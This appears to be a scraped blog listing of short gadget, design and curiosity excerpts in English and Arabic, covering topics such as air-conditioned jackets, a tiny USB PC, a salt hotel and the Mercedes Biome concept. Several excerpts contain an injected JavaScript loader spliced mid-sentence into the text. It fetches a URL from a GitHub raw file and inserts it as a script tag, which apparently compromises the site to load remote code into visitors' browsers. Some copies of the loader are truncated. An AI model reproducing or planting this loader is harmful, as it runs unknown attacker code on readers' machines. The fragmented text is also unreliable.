In today’s high-tech world, there are more and more desk jobs. People are taken out of the production line and planted in front of a computer screen, as we discover even more ways to make machines do the work while we only supervise. var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

You look at them... They look right back at you! (but do they bite?) Today we are going to explore face-like patterns in inanimate objects, and will urge you to get out and take a few pictures of your own: find a weird face in something that's not supposed to have any faces, take a picture and send it to us! Even mundane, everyday objects and often-visited places can reveal a face, if looked at a different angle... (image via) var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

By MIWA SUZUKI ‘Air-con clothes’ help to beat the heat. AS jackets go, it looks far from fashionable, but its Japanese maker cannot meet sky-rocketing demand for “air conditioned” coats with built-in fans. Kuchofuku Co Ltd, whose name literally means “air-conditioned clothing”, has seen orders soar amid power shortages in Japan after the devastating March 11 earthquake and tsunami.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response Read more [...]

يواجه اليابانيون تحدياً استثنائياً هذا الصيف لأن لديهم مشكلة في الكهرباء بسبب توقف مفاعل فوكوشيما النووي عن العمل، لذا لا يستطيع اليابانيون استخدام المكيفات بما يلبي احتياجاتهم توفيراً للكهرباء، فهل يستسلمون لحر الصيف؟ لا بالطبع بل قام أحد مُصنعي الملابس بتركيب مراوح داخل Read more [...]

This has to be the world’s smallest DIY USB PC, fully functional with an HDMI output so you can plug in to your LCD monitor/keyboard and be ready to boot it up. This DIY USB PC packs a 700MHz ARM 11 CPU, 128MB of RAM, and OpenGL ES 2.0 graphics, pretty click device. I imagine there will become a day when all desktop PCs will become this size or perhaps the smartphones and PCs will converge soon or later.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

يُستخدم بصورة أساسية لإعطاء نكهة خاصة للطعام، لكن هل تتخيلوا أن الملح يمكن أن يستخدم أيضاً في البناء؟!! ليس تعبيراً مجازياً فهناك فندق مصنوع بالكامل من الملح في بوليفيا واسمه فندق بلايا دي سال: الملح هو كل شئ في هذا الفندق، فالطاولة والأرضية والمقاعد وكل شئ داخل الفندق وخارجه Read more [...]

Meet Mercedes’ new green machine. This is the Biome concept, the German firm's entry to the LA Show’s annual design challenge competition, and Auto Express was there live for the unveil at Mercedes advanced design studio in LA. The Biome is a pure flight of fantasy and isn’t intended to influence any future model. However, the technology used to create the car is intriguing as it’s straight from the pages of a sci-fi novel.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

نشاهد بين الحين والآخر تصميمات مدهشة لسيارات مستقبلية من مختلف شركات صناعة السيارات، لكننا سنشاهد الآن ما لم نشاهد مثله من قبل!!: ما ترونها في هذه الصورة هي سيارة مرسيدس The Biome التي تتميز بأنها لا تُصنع من خلال خطوط إنتاج في مصانع، بل يتم زراعتها بواسطة بذور معدلة جينياً داخل مزارع Read more [...]

Water is awesome. It’s a refreshing beverage, a hangover cure, cleanser, and now it can power your calculators. The Water Powered Calculator has 3 water powered batteries. Each battery has a pair of electrodes made of a special alloy that produces electricity through a chemical reaction. The water will last you 2-3 months before evaporating and then you simply refill the cartridge with more water. It’s free energy! The clear plastic shell of this calculator lets you see what’s happening inside. Read more [...]

  Read Your Bookcase by designers Eva Alessandrini and Roberto Saporitiof the Italian furniture design firm Saporiti have created this beautiful bookcase system that allows you to spell custom words and phrases using modular bookcase letters var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

When we think of spying and gadgets, we naturally think of the James Bond and Mission Impossible movies, in these films the use of ultra high tech is common place and yet in the real world this equipment would have been only available to governments and other organisations due to the cost. But recently the cost of technology has dramatically fallen to the point where tiny pin hole video cameras can be owned by just about anyone. So for the average person in the street this means even more surveillance Read more [...]

Dutch Designers Eric Sloot, Paulien Berendsen and Roel Vaessen developed ixxi, a modular connection system. You can make your own photo enlargement or photo collage in any format possible.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]